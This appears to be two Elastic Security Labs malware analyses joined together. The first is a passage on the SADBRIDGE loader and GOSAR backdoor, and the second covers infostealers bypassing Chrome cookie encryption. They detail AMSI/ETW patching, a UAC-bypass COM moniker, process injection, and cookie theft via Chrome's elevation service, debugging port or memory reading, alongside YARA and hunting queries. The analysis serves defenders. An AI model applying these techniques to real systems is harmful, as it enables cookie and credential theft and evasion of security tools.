The shellcode then unmaps any existing mappings at the PE file's preferred base address using NtUnmapViewOfSection, ensuring that a call to VirtualAlloc will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific .log files they reference for decryption and execution.

DevQueryBroker.log

The malware dynamically loads amsi.dll to disable critical security mechanisms in Windows. It patches AmsiScanBuffer in amsi.dll by inserting instructions to modify the return value to 0x80070057, the standardized Microsoft error code E_INVALIDARG indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches AmsiOpenSession to always return the same error code E_INVALIDARG. Additionally, it patches EtwEventWrite in ntdll.dll, replacing the first instruction with a ret instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.

Following the patching, an encrypted shellcode is written to temp.ini at path (C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini).
The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the SECURITY_LOCAL_SYSTEM_RID and calling CheckTokenMembership. If not, it attempts to check for membership in the Administrators group by creating a SID using SECURITY_BUILTIN_DOMAIN_RID and DOMAIN_ALIAS_RID_ADMINS and performing a similar token membership check.

If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a UAC bypass mechanism by leveraging the ICMLuaUtil COM interface. It crafts a moniker string "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" to create an instance of the CMSTPLUA object with Administrator privileges. Once the object is created and the ICMLuaUtil interface is obtained, the malware uses the exposed ShellExec method of the interface to run DevQueryBroker.exe.

If a task or a service is not created to run DevQueryBroker.exe routinely, the malware checks if the Anti-Virus process 360tray.exe is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:

Service name: DevQueryBrokerService
Binary path name: “C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”.
Display name: DevQuery Background Discovery Broker Service
Description: Enables apps to discover devices with a background task.
Start type: Automatically at system boot
Privileges: LocalSystem

If 360tray.exe is detected running, the malware writes an encrypted PE file to DevQueryBrokerService.log, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it.

Once DevQueryBroker.exe is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there.

On Windows 7, however, it executes a shellcode, which decrypts and runs the DevQueryBrokerPre.log file.

Stage 1 Injection (explorer.exe)

SADBRIDGE utilizes PoolParty Variant 7 to inject shellcode into explorer.exe by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within explorer.exe to store the shellcode. Additional memory is allocated to store a crafted TP_DIRECT structure, which includes the base address of the shellcode as the callback address. Finally, it calls ZwSetIoCompletion, passing a pointer to the TP_DIRECT structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.

This shellcode decrypts the DevQueryBrokerService.log file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode.

Stage 2 Injection (spoolsv.exe/lsass.exe)

For Stage 2, SADBRIDGE injects shellcode into spoolsv.exe, or lsass.exe if spoolsv.exe is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts DevQueryBrokerPre.log into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.

DevQueryBrokerService.log

The shellcode decrypted from DevQueryBrokerService.log as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC bypass technique using the IElevatedFactorySever COM object to indirectly create the scheduled task. This task is configured to run DevQueryBroker.exe on a daily basis with SYSTEM level privileges using the task name DevQueryBrokerService.

In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from explorer.exe.

DevQueryBrokerPre.log

SADBRIDGE creates a service named DevQueryBrokerServiceSvc under the registry subkey SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc with the following attributes:

Description: Enables apps to discover devices with a background task.
DisplayName: DevQuery Background Discovery Broker Service
ErrorControl: 1
ImagePath: %systemRoot%\system32\svchost.exe -k netsvcs
ObjectName: LocalSystem
Start: 2 (auto-start)
Type: 16.
Failure Actions:
Resets failure count every 24 hours.
Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.

The service parameters specify the ServiceDll located at C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\\DevQueryBrokerService.dll. If the DLL file does not exist, it will be dropped to disk right after.

DevQueryBrokerService.dll has a similar code structure as HealthServiceRuntime.dll, which is seen in the earlier stages of the execution chain. It is responsible for decrypting DevQueryBroker.log and running it. The ServiceDll will be loaded and executed by svchost.exe when the service starts.

Additionally, it modifies the SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs key to include an entry for DevQueryBrokerServiceSvc to integrate the newly created service into the group of services managed by the netsvcs service host group.

SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService and SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService.

Finally, it removes the files DevQueryBroker.exe and HealthServiceRuntime.dll in the C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker folder, as the new persistence mechanism is in place.

GOSAR Injection

In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the WTSEnumerateSessionsA API.

If sessions are found, it iterates through each session:

For each session, it attempts to retrieve the username (WTSUserName) using WTSQuerySessionInformationA. If the query fails, it moves to the next session.
If WTSUserName is not empty, the code targets svchost.exe, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.
If WTSUserName is empty but the session's WinStationName is "Services" (indicating a service session), it targets dllhost.exe instead, passing the same parameters to the final stage injection subroutine.

If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.

Logged-in sessions target svchost.exe, while service sessions or sessions without a logged-in user target dllhost.exe.

If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to S-1-16-12288 (System integrity). It then uses the elevated token to create a child process (svchost.exe or dllhost.exe) via CreateProcessAsUserA.

If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using CreateProcessA.

The encrypted shellcode C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt .log files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.

Finally, the injected shellcode decrypts DevQueryBrokerCore.log to GOSAR and runs it in the newly created process’s memory.

GOSAR Introduction

GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version.

By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload.

Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).

GOSAR Code Analysis Overview

Code structure of GOSAR

As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version 0.12.01

vibrant/config: Contains the configuration files for the malware.
vibrant/proto: Houses all the Google Protocol Buffers (proto) declarations.
vibrant/network: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener
vibrant/msgs/resolvers: Defines the commands handled by the malware. These commands are assigned to an object within the vibrant_msgs_init* functions.
vibrant/msgs/services: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the vibrant_network._ptr_Connection.Start function.
vibrant/logs: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.
vibrant/pkg/helpers: Contains helper functions used across various malware commands and services.
vibrant/pkg/screenshot: Handles the screenshot capture functionality on the infected system.
vibrant/pkg/utils: Includes utility functions, such as generating random values.
vibrant/pkg/native: Provides functions for calling Windows API (WINAPI) functions.

New Additions to GOSAR

Communication and information gathering

This new variant continues to use the same communication method as the original, based on TCP TLS. Upon connection, it first sends system information to the C2, with 4 new fields added:

IPAddress
AntiVirus
ClipboardSettings
Wallets

The list of AntiViruses and digital wallets are initialized in the function vibrant_pkg_helpers_init and can be found at the bottom of this document.

Services

The malware handles 3 services that are started during the initial connection of the client to the C2:

vibrant_services_KeyLogger
vibrant_services_ClipboardLogger
vibrant_services_TickWriteFile

KeyLogger

The keylogging functionality in GOSAR is implemented in the vibrant_services_KeyLogger function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with SetWindowsHookEx with the parameter WH_KEYBOARD_LL to monitor low-level keyboard events. The hook function is named vibrant_services_KeyLogger_func1.

ClipboardLogger

The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using IsClipboardFormatAvailable then retrieves it using GetClipboardData API.

TickWriteFile

Both ClipboardLogger and KeyLogger services collect data that is written by the TickWriteFile periodically to directory (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics) under a file of the current date, example 2024-11-27.
It can be decrypted by first subtracting the value 0x1f then xoring it with the value 0x18 as shown in the CyberChef recipe.

Networking setup

After initializing its services, the malware spawns three threads dedicated to its networking setup.

vibrant_network_ConfigFirewallRule
vibrant_network_ConfigHosts
vibrant_network_ConfigAutoListener

Threads handling networking setup

ConfigFirewallRule

The malware creates an inbound firewall rule for the ports range 51756-51776 under a Chinese name that is translated to Distributed Transaction Coordinator (LAN) it allows all programs and IP addresses inbound the description is set to :Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.

ConfigHosts

This function adds an entry to c:\Windows\System32\Drivers\etc\hosts the following 127.0.0.1 micrornetworks.com. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.

ConfigAutoListener

This functionality of the malware runs an HTTP server listener on the first available port within the range 51756-51776, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a GET request to the URI /security.js, responding with the string callback();, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later

Logs

The malware saves its runtime logs in the directory: %APPDATA%\Roaming\Microsoft\Logs under the filename formatted as: windows-update-log-.log.
Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the vibrant_config function, the following is an example:

The attacker can remotely retrieve the malware's runtime logs by issuing the command ResolveGetRunLogs.

Plugins

The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: C:\ProgramData\policy-err.log. To execute a plugin, the command ResolveDoExecutePlugin is called, it first checks if a plugin is available.

It then loads a native DLL reflectively that is stored in base64 format in the binary named plugins.dll and executes its export function ExecPlugin.

ExecPlugin creates a suspended process of C:\Windows\System32\msiexec.exe with the arguments /package /quiet. It then queues Asynchronous Procedure Calls (APC) to the process's main thread. When the thread is resumed, the queued shellcode is executed.

The shellcode reads the encrypted plugin stored at C:\ProgramData\policy-err.log, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.

HVNC

The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands

ResolveHVNCCommand
ResolveGetHVNCScreen
ResolveStopHVNC
ResolveDoHVNCKeyboardEvent
ResolveDoHVNCMouseEvent

The first command that is executed is ResolveGetHVNCScreen which will first initialise it and set up a view, it uses an embedded native DLL HiddenDesktop.dll in base64 format, the DLL is reflectively loaded into memory and executed.

The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:

ExcuteCommand
DoMouseScroll
DoMouseRightClick
DoMouseMove
DoMouseLeftClick
DoKeyPress
CaptureScreen

The first export function called is Initialise to initialise a desktop with CreateDesktopA API. This HVNC implementation handles 17 commands in total that can be found in ExcuteCommand export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command ResolveHVNCCommand that will call ExcuteCommand.

| Command ID | Description | | :---- | :---- | | 0x401 | The function first disables taskbar button grouping by setting the TaskbarGlomLevel registry key to 2 under Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced. Next, it ensures the taskbar is always visible and on top by using SHAppBarMessage with the ABM_SETSTATE command, setting the state to ABS_ALWAYSONTOP. | | 0x402 | Spawns a RUN dialog box by executing the 61th export function of shell32.dll.C:\Windows\system32\rundll32.exe shell32.dll,#61 | | 0x403 | Runs an instance of powershell.exe | | 0x404 | Executes a PE file stored in C:\\ProgramData\\shell.log | | 0x405 | Runs an instance of chrome.exe | | 0x406 | Runs an instance of msedge.exe | | 0x407 | Runs an instance of firefox.exe | | 0x408 | Runs an instance of iexplore.exe | | 0x409 | Runs an instance of 360se.exe | | 0x40A | Runs an instance of 360ChromeX.exe. | | 0x40B | Runs an instance of SogouExplorer.exe | | 0x40C | Close current window | | 0x40D | Minimizes the specified window | | 0x40E | Activates the window and displays it as a maximized window | | 0x40F | Kills the process of a window | | 0x410 | Sets the clipboard | | 0x411 | Clears the Clipboard |

Screenshot

The malware loads reflectively the third and last PE DLL embedded in base64 format named Capture.dll, it has 5 export functions:

CaptureFirstScreen
CaptureNextScreen
GetBitmapInfo
GetBitmapInfoSize
SetQuality

The library is first initialized by calling resolvers_ResolveGetBitmapInfo that reflectively loads and executes its DllEntryPoint which will setup the screen capture structures using common Windows APIs like CreateCompatibleDC, CreateCompatibleBitmap and CreateDIBSection. The 2 export functions CaptureFirstScreen and CaptureNextScreen are used to capture a screenshot of the victim's desktop as a JPEG image.

Observation

Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.

It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.

New functionality

The following table provides a description of all the newly added commands:

Malware and MITRE ATT\&CK

Elastic uses the MITRE ATT\&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Mitigating REF3864

Detection

Prevention

YARA

Elastic Security has created YARA rules to identify this activity.

Observations

The following observables were discussed in this research:

References

The following were referenced throughout the above research:

Appendix

Hashing algorithm (SADBRIDGE)

def ror(x, n, max_bits=32) -> int:
    """Rotate right within a max bit limit, default 32-bit."""
    n %= max_bits
    return ((x >> n) | (x << (max_bits - n))) & (2**max_bits - 1)

def ror_13(data) -> int:
    data = data.encode('ascii')
    hash_value = 0

    for byte in data:
        hash_value = ror(hash_value, 13)

        if byte >= 0x61:
            byte -= 32  # Convert to uppercase
        hash_value = (hash_value + byte) & 0xFFFFFFFF

    return hash_value


def generate_hash(data, dll) -> int:
    dll_hash = ror_13(dll)
    result = (dll_hash + ror_13(data)) & 0xFFFFFFFF

    return hex(result)

AV products checked in GOSAR

Katz and Mouse Game: MaaS Infostealers Adapt to Patched Chrome Defenses

Mon, 28 Oct 2024 00:00:00 GMT

In July, Google announced a new protection mechanism for cookies stored within Chrome on Windows, known as Application-Bound Encryption. There is no doubt this security implementation has raised the bar and directly impacted the malware ecosystem. After months with this new feature, many infostealers have written new code to bypass this protection (as the Chrome Security Team predicted) in order to stay competitive in the market and deliver capabilities that reliably retrieve cookie data from Chrome browsers.

Elastic Security Labs has been tracking a subset of this activity, identifying multiple techniques used by different malware families to circumvent App-Bound Encryption. While the ecosystem is still evolving in light of this pressure, our goal is to share technical details that help organizations understand and defend against these techniques. In this article, we will cover the different methods used by the following infostealer families:

STEALC/VIDAR
METASTEALER
PHEMEDRONE
XENOSTEALER
LUMMA

Key takeaways

Latest versions of infostealers implement bypasses around Google’s recent cookie protection feature using Application-Bound Encryption
Techniques include integrating offensive security tool ChromeKatz, leveraging COM to interact with Chrome services and decrypt the app-bound encryption key, and using the remote debugging feature within Chrome
Defenders should actively monitor for different cookie bypass techniques against Chrome on Windows in anticipation of future mitigations and bypasses likely to emerge in the near- to mid-term
Elastic Security provides mitigations through memory signatures, behavioral rules, and hunting opportunities to enable faster identification and response to infostealer activity

Background

Generically speaking, cookies are used by web applications to store visitor information in the browser the visitor uses to access that web app. This information helps the web app track that user, their preferences, and other information from location to location– even across devices.

The authentication token is one use of the client-side data storage structures that enables much of how modern web interactivity works. These tokens are stored by the browser after the user has successfully authenticated with a web application. After username and password, after multifactor authentication (MFA) via one-time passcodes or biometrics, the web application “remembers” your browser is you via the exchange of this token with each subsequent web request.

A malicious actor who gets access to a valid authentication token can reuse it to impersonate the user to that web service with the ability to take over accounts, steal personal or financial information, or perform other actions as that user such as transfer financial assets.

Cybercriminals use infostealers to steal and commoditize this type of information for their financial gain.

Google Chrome Cookie Security

Legacy versions of Google Chrome on Windows used the Windows native Data Protection API (DPAPI) to encrypt cookies and protect them from other user contexts. This provided adequate protection against several attack scenarios, but any malicious software running in the targeted user’s context could decrypt these cookies using the DPAPI methods directly. Unfortunately, this context is exactly the niche that infostealers often find themselves in after social engineering for initial access. The DPAPI scheme is now well known to attackers with several attack vectors; from local decryption using the API, to stealing the masterkey and decrypting remotely, to abusing the domain-wide backup DPAPI key in an enterprise environment.

With the release of Chrome 127 in July 2024, Google implemented Application-Bound Encryption of browser data. This mechanism directly addressed many common DPAPI attacks against Windows Chrome browser data–including cookies. It does this by storing the data in encrypted datafiles, and using a service running as SYSTEM to verify any decryption attempts are coming from the Chrome process before returning the key to that process for decryption of the stored data.

While it is our view that this encryption scheme is not a panacea to protect all browser data (as the Chrome Security Team acknowledges in their release) we do feel it has been successful in driving malware authors to TTPs that are more overtly malicious, and easier for defenders to identify and respond to.

Stealer Bypass Techniques, Summarized

The following sections will describe specific infostealer techniques used to bypass Google’s App-Bound Encryption feature as observed by Elastic. Although this isn’t an exhaustive compilation of bypasses, and development of these families is ongoing, they represent an interesting dynamic within the infostealer space showing how malware developers responded to Google’s recently updated security control. The techniques observed by our team include:

Remote debugging via Chrome’s DevTools Protocol
Reading process memory of Chrome network service process (ChromeKatz and ReadProcessMemory (RPM))
Elevating to SYSTEM then decrypting app_bound_encryption_key with the DecryptData method of GoogleChromeElevationService through COM

STEALC/VIDAR

Our team observed new code introduced to STEALC/VIDAR related to the cookie bypass technique around September 20th. These were atypical samples that stood out from previous versions and were implemented as embedded 64-bit PE files along with conditional checks. Encrypted values in the SQLite databases where Chrome stores its data are now prefixed with v20, indicating that the values are now encrypted using application-bound encryption.

STEALC was introduced in 2023 and was developed with “heavy inspiration” from other more established stealers such as RACOON and VIDAR. STEALC and VIDAR have continued concurrent development, and in the case of App-Bound Encryption bypasses have settled on the same implementation.

During the extraction of encrypted data from the databases the malware checks for this prefix. If it begins with v20, a child process is spawned using the embedded PE file in the .data section of the binary. This program is responsible for extracting unencrypted cookie values residing in one of Chrome's child processes.

This embedded binary creates a hidden desktop via OpenDesktopA / CreateDesktopA then uses CreateToolhelp32Snapshot to scan and terminate all chrome.exe processes. A new chrome.exe process is then started with the new desktop object. Based on the installed version of Chrome, the malware selects a signature pattern for the Chromium feature CookieMonster, an internal component used to manage cookies.

CookieMonster" title="Signature pattern for CookieMonster" />

We used the signature patterns to pivot to existing code developed for an offensive security tool called ChromeKatz. At this time, the patterns have been removed from the ChromeKatz repository and replaced with a new technique. Based on our analysis, the malware author appears to have reimplemented ChromeKatz within STEALC in order to bypass the app-bound encryption protection feature.

Once the malware identifies a matching signature, it enumerates Chrome’s child processes to check for the presence of the --utility-sub-type=network.mojom.NetworkService command-line flag. This flag indicates that the process is the network service responsible for handling all internet communication. It becomes a prime target as it holds the sensitive data the attacker seeks, as described in MDSec’s post. It then returns a handle for that specific child process.

Next, it enumerates each module in the network service child process to find and retrieve the base address and size of chrome.dll loaded into memory. STEALC uses CredentialKatz::FindDllPattern and CookieKatz::FindPattern to locate the CookieMonster instances. There are 2 calls to CredentialKatz::FindDllPattern.

CredentialKatz::FindDllPattern" title="Calls to CredentialKatz::FindDllPattern" />

In the first call to CredentialKatz::FindDllPattern, it tries to locate one of the signature patterns (depending on the victim’s Chrome version) in chrome.dll. Once found, STEALC now has a reference pointer to that memory location where the byte sequence begins which is the function net::CookieMonster::~CookieMonster, destructor of the CookieMonster class.

net::CookieMonster::~CookieMonster found in chrome.dll" title="Byte sequence for net::CookieMonster::~CookieMonster found in chrome.dll" />

The second call to CredentialKatz::FindDllPattern passes in the function address for net::CookieMonster::~CookieMonster(void) as an argument for the byte sequence search, resulting in STEALC having a pointer to CookieMonster’s Virtual Function Pointer struct.

CookieMonster’s vtable in chrome.dll" title="CookieMonster’s vtable in chrome.dll" />

The following method used by STEALC is again, identical to ChromeKatz, where it locates CookieMonster instances by scanning memory chunks in the chrome.dll module for pointers referencing the CookieMonster vtable. Since the vtable is a constant across all objects of a given class, any CookieMonster object will have the same vtable pointer. When a match is identified, STEALC treats the memory location as a CookieMonster instance and stores its address in an array.

CookieKatz::FindPattern to locate CookieMonster instances" title="Using CookieKatz::FindPattern to locate CookieMonster instances" />

For each identified CookieMonster instance, STEALC accesses the internal CookieMap structure located at an offset of +0x30, and which is a binary tree. Each node within this tree contains pointers to CanonicalCookieChrome structures. CanonicalCookieChrome structures hold unencrypted cookie data, making it accessible for extraction. STEALC then initiates a tree traversal by passing the first node into a dedicated traversal function.

CookieMap tree traversal for each CookieMonster instance found" title="Initiating CookieMap tree traversal for each CookieMonster instance found" />

For each node, it calls ReadProcessMemory to access the CanonicalCookieChrome structure from the target process’s memory, then further processing it in jy::GenerateExfilString.

CookieMap traversal subroutine" title="CookieMap traversal subroutine" />

STEALC formats the extracted cookie data by converting the expiration date to UNIX format and verifying the presence of the HttpOnly and Secure flags. It then appends details such as the cookie's name, value, domain, path, and the HttpOnly and Secure into a final string for exfiltration. OptimizedString structs are used in place of strings, so string values can either be the string itself, or if the string length is greater than 23, it will point to the address storing the string.

METASTEALER

METASTEALER, first observed in 2022, recently upgraded its ability to steal Chrome data, bypassing Google’s latest mitigation efforts. On September 30th, the malware authors announced this update via their Telegram channel, highlighting its enhanced capability to extract sensitive information, including cookies, despite the security changes in Chrome's version 129+.

The first sample observed in the wild by our team was discovered on September 30th, the same day the authors promoted the update. Despite claims that the malware operates without needing Administrator privileges, our testing revealed it does require elevated access, as it attempts to impersonate the SYSTEM token during execution.

As shown in the screenshots above, the get_decryption method now includes a new Boolean parameter. This value is set to TRUE if the encrypted data (cookie) begins with the v20 prefix, indicating that the cookie is encrypted using Chrome's latest encryption method. The updated function retains backward compatibility, still supporting the decryption of cookies from older Chrome versions if present on the infected machine.

The malware then attempts to access the Local State or LocalPrefs.json files located in the Chrome profile directory. Both files are JSON formatted and store encryption keys (encrypted_key) for older Chrome versions and app_bound_encrypted_key for newer ones. If the flag is set to TRUE, the malware specifically uses the app_bound_encrypted_key to decrypt cookies in line with the updated Chrome encryption method.

app_bound_encrypted_key extracted from Chrome json file" title="app_bound_encrypted_key extracted from Chrome json file" />

In this case, the malware first impersonates the SYSTEM token using a newly introduced class called ContextSwitcher.

It then decrypts the key by creating an instance via the COM of the Chrome service responsible for decryption, named GoogleChromeElevationService, using the CLSID 708860E0-F641-4611-8895-7D867DD3675B. Once initialized, it invokes the DecryptData method to decrypt the app_bound_encrypted_key key which will be used to decrypt the encrypted cookies.

ComInvoker to invoke methods from GoogleChromeElevationService service" title="New class ComInvoker to invoke methods from GoogleChromeElevationService service" />

METASTEALER employs a technique similar to the one demonstrated in a gist shared on X on September 27th, which may have served as inspiration for the malware authors. Both approaches leverage similar methods to bypass Chrome's encryption mechanisms and extract sensitive data.

PHEMEDRONE

This open-source stealer caught the world’s attention earlier in the year through its usage of a Windows SmartScreen vulnerability (CVE-2023-36025). While its development is still occurring on Telegram, our team found a recent release (2.3.2) submitted at the end of September including new cookie grabber functionality for Chrome.

README.txt within PHEMEDRONE project" title="README.txt within PHEMEDRONE project" />

The malware first enumerates the different profiles within Chrome, then performs a browser check using function (BrowserHelpers.NewEncryption) checking for the Chrome browser with a version greater than or equal to 127.

If the condition matches, PHEMEDRONE uses a combination of helper functions to extract the cookies.

By viewing the ChromeDevToolsWrapper class and its different functions, we can see that PHEMEDRONE sets up a remote debugging session within Chrome to access the cookies. The default port (9222) is used along with window-position set to -2400,-2400 which is set off-screen preventing any visible window from alerting the victim.

Next, the malware establishes a WebSocket connection to Chrome’s debugging interface making a request using deprecated Chrome DevTools Protocol method (Network.getAllCookies).

The cookies are then returned from the previous request in plaintext, below is a network capture showing this behavior:

XENOSTEALER

XENOSTEALER is an open-source infostealer hosted on GitHub. It appeared in July 2024 and is under active development at the time of this publication. Notably, the Chrome bypass feature was committed on September 26, 2024.

The approach taken by XENOSTEALER is similar to that of METASTEALER. It first parses the JSON file under a given Chrome profile to extract the app_bound_encrypted_key. However, the decryption process occurs within a Chrome process. To achieve this, XENOSTEALER launches an instance of Chrome.exe, then injects code using a helper class called SharpInjector, passing the encrypted key as a parameter.

The injected code subsequently calls the DecryptData method from the GoogleChromeElevationService to obtain the decrypted key.

LUMMA

In mid-October, the latest version of LUMMA implemented a new method to bypass Chrome cookie protection, as reported by @g0njxa.

We analyzed a recent version of LUMMA, confirming that it managed to successfully recover the cookie data from the latest version of Google Chrome (130.0.6723.70). LUMMA first creates a visible Chrome process via Kernel32!CreateProcessW.

CreateProcessW lpApplicationName parameter" title="Dump of CreateProcessW lpApplicationName parameter" />

This activity was followed up in the debugger with multiple calls to NtReadVirtualMemory where we identified LUMMA searching within the Chrome process for chrome.dll.

chrome.dll in Chrome" title="LUMMA seeks chrome.dll in Chrome" />

Once found, the malware copies the chrome.dll image to its own process memory using NtReadVirtualMemory. In a similar fashion to the ChromeKatz technique, Lumma leverages pattern scanning to target Chrome’s CookieMonster component.

Lumma uses an obfuscated signature pattern to pinpoint the CookieMonster functionality:

3Rf5Zn7oFA2a????k4fAsdxx????l8xX5vJnm47AUJ8uXUv2bA0s34S6AfFA????kdamAY3?PdE????6G????L8v6D8MJ4uq????k70a?oAj7a3????????K3smA????maSd?3l4

Below is the YARA rule after de-obfuscation:

rule lumma_stealer
{
  meta:
    author = "Elastic Security Labs"
  strings:
    $lumma_pattern = { 56 57 48 83 EC 28 89 D7 48 89 CE E8 ?? ?? ?? ?? 85 FF 74 08 48 89 F1 E8 ?? ?? ?? ?? 48 89 F0 48 83 C4 28 5F 5E C3 CC CC CC CC CC CC CC CC CC CC 56 57 48 83 EC 38 48 89 CE 48 8B 05 ?? ?? ?? ?? 48 31 E0 48 89 44 24 ?? 48 8D 79 ?? ?? ?? ?? 28 E8 ?? ?? ?? ?? 48 8B 46 20 48 8B 4E 28 48 8B 96 ?? ?? ?? ?? 4C 8D 44 24 ?? 49 89 10 48 C7 86 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 FA FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 31 E1}
  condition:
    all of them
}

After decoding and searching for the pattern in chrome.dll, this leads to the CookieMonster destructor (net::CookieMonster::~CookieMonster).

CookieMonster" title="Lumma pattern match on CookieMonster" />

The cookies are then identified in memory and dumped out in clear text from the Chrome process.

Once completed, LUMMA sends out the cookies along with the other requested data as multiple zip files (xor encrypted and base64 encoded) to the C2 server.

Detection

Below are the following behavioral detections that can be used to identify techniques used by information stealers:

Additionally, the following queries can be used for hunting diverse related abnormal behaviors:

Cookies access by an unusual process

This query uses file open events and aggregate accesses by process, then looks for ones that are observed in unique hosts and with a low total access count:

FROM logs-endpoint.events.file-default*
| where event.category == "file" and event.action == "open" and file.name == "Cookies" and file.path like "*Chrome*"
| keep file.path, process.executable, agent.id
| eval process_path = replace(to_lower(process.executable), """c:\\users\\[a-zA-Z0-9\.\-\_\$]+\\""", "c:\\\\users\\\\user\\\\")
| stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by process_path
| where agents_count <= 2 and access_count <=2

Below example of matches from diverse information stealers including the updated ones with new Chrome cookies stealing capabilities:

METASTEALER behavior tends to first terminate all running chrome instances then calls CoCreateInstance to instantiate the Google Chrome elevation service, this series of events can be expressed with the following EQL query:

sequence by host.id with maxspan=1s
[process where event.action == "end" and process.name == "chrome.exe"] with runs=5
[process where event.action == "start" and process.name == "elevation_service.exe"]

The previous hunt indicates suspicious agents but doesn't identify the source process. By enabling registry object access auditing through event 4663 on the Chrome Elevation service CLSID registry key {708860E0-F641-4611-8895-7D867DD3675B}, we can detect unusual processes attempting to access that key:

FROM logs-system.security-default* | where event.code == "4663" and winlog.event_data.ObjectName == "\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{708860E0-F641-4611-8895-7D867DD3675B}" and not winlog.event_data.ProcessName in ("C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe") and not winlog.event_data.ProcessName like "C:\\\\Program Files\\\\Google\\\\Chrome\\\\Application\\\\*\\\\elevation_service.exe" | stats agents_count = COUNT_DISTINCT(agent.id), access_count= count(*) by winlog.event_data.ProcessName | where agents_count <= 2 and access_count <=2

Below is an example of matches on the METASTEALER malware while calling CoCreateInstance (CLSID_Elevator):

